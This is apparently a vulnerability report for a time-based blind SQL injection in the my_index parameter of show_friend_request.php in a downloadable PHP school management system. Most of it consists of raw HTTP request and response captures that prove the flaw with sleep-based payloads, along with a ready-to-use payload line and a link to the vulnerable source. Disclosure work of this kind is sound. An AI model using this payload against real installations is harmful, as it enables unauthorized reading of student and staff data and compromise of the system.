

SQL injection vulnerability exists in my_index parameter of /view/show_friend_request.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot displays the network inspector of a web browser. The 'Request' tab is active, showing a GET request to `/std1/view/show_friend_request.php?my_index='%2B(select(0)from(select(sleep(2)))v)%2B'&my_type=my_type HTTP/1.1`. The 'Response' tab shows a 200 OK status from the server. The response body contains HTML code for a dropdown menu and a success message. The status bar at the bottom indicates 'Done' and '901 bytes | 4,004 millis'.

```
Request
Pretty Raw Hex
1 GET /std1/view/show_friend_request.php?my_index=
  '%2B(select(0)from(select(sleep(2)))v)%2B'&my_type=
  my_type HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:12:01 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 712
8
9
10
11 <a href="#" class="dropdown-toggle" data-toggle="
  dropdown" onClick="
  showFriendRequest(''+(select(0)from(select(sleep(2))
  )v)+'','my_type')">
12 <i class="fa fa-user-plus">
  </i>
13 <span class="label label-success">
  0
  </span>
14 </a>
15

0 matches 0 matches
Done 901 bytes | 4,004 millis
```

Sleep time is 10s:

The screenshot displays the network inspector of a web browser. The 'Request' tab is active, showing a GET request to `/std1/view/show_friend_request.php?my_index='%2B(select(0)from(select(sleep(5)))v)%2B'&my_type=my_type HTTP/1.1`. The 'Response' tab shows a 200 OK status from the server. The response body contains HTML code for a dropdown menu and a success message. The status bar at the bottom indicates 'Done' and '901 bytes | 10,003 millis'.

```
Request
Pretty Raw Hex
1 GET /std1/view/show_friend_request.php?my_index=
  '%2B(select(0)from(select(sleep(5)))v)%2B'&my_type=
  my_type HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:12:28 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 712
8
9
10
11 <a href="#" class="dropdown-toggle" data-toggle="
  dropdown" onClick="
  showFriendRequest(''+(select(0)from(select(sleep(5))
  )v)+'','my_type')">
12 <i class="fa fa-user-plus">
  </i>
13 <span class="label label-success">
  0
  </span>
14 </a>
15

0 matches 0 matches
Done 901 bytes | 10,003 millis
```

Payload: my_index='%2B(select(0)from(select(sleep(5)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>